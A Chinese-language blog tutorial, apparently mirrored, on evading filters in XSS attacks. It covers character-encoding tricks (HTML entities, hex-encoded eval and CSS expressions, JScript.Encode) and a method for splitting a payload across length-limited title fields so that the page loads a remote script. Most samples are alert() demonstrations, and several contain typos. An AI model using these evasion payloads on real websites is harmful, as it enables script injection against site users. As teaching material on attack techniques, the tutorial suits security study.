zoukankan      html  css  js  c++  java
  • XSS 跨站脚本攻击之构造剖析(二)

    1.利用字符编码

    (1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode

    (2)使用一个XSS编码工具,以便对字符串进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码

    例如:<img  src="javascript:alert('xss');">

             编码后:

          <img  src="&#106&#97&#115&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

    (3)另外在javascript中,有一个eval()函数,该函数可计算字符串,并执行其中的javascript代码,

    例如:  <script>

               eval("alert('xss')");

              </script>

    (4)可以使用连接字符串,然后使用eval()函数执行十六进制字符串形式的脚本:

    例如:  <script>

              eval("x61x6cx65x72x74x28x27x58x53x27x29");

              </script>

    (5)此外,样式表也支持分析和解释连接的十六进制字符串形式,浏览器能正常解释:

    例如:<style>

              BODY{backgroud:75726c28687474703a2f2f31372e302e302e302e312f7873732e67696629

                       }

             </style>

    (6)style属性中的javascript和expression等字符一般会被程序过滤掉,但经过十六进制编码后则可以逃避过滤:

    例如:

    ①<div   style="xss:&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;"

    (alert(1));"/div>

    ②<img  STYLE="backgroud-image:

    75726c286a6176617363726970743a616c6572742827585353272929">

    (7)javascript支持unicode,escapes,十六进制,八进制等编码方式

    (8)编码/加密技术-------JScript  Encode 和  VBScript  Encode

    Microsoft提供了脚本加密机制,可以对脚本进行加密,包括JScript和VBScript,经过加密的脚本能在IE下运行,在其他浏览器中则不识别;

    例如:

    <script   language="JScript.Encode">

    #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@       //等价于alert(1)

    </script>

    2.拆分跨站法:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑起来在一起执行,这和缓冲区溢出的shellcode的利用方式一致;

    存在XSS漏洞的页面,该XSS出现在标题处,并且对输入的字符的长度有限制:

    标题1:<script>z='<script  src=';  /*

    标题2:*/z+='http://www.test.c'; /*

    标题3:*/z+='n/l.js>< /script>';  /*

    标题4:*/document/write(z) </script>

    /**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转化为:

    <script> z='<script src=';

    z+='http://www.test.c';

    z+='n/l.js>< /script>';

    document.write(z)</script>

    然后依次赋值给z变量:

    <script>z='<script src=http://www.test.c/l.js></script>';

    document.write(z)

    </script>

  • 相关阅读:
    微信jssdk
    php读取大文件
    PHP工程师突破
    TCP/IP
    基于scrapy-redis的分布式爬虫
    pymongodb的使用和一个腾讯招聘爬取的案例
    中间件使用之(UA,IP,selenium)的使用
    windos下redis服务的后台启动
    mongodb的初步使用
    windos下安装mongodb
  • 原文地址:https://www.cnblogs.com/hqutcy/p/5750584.html
Copyright © 2011-2022 走看看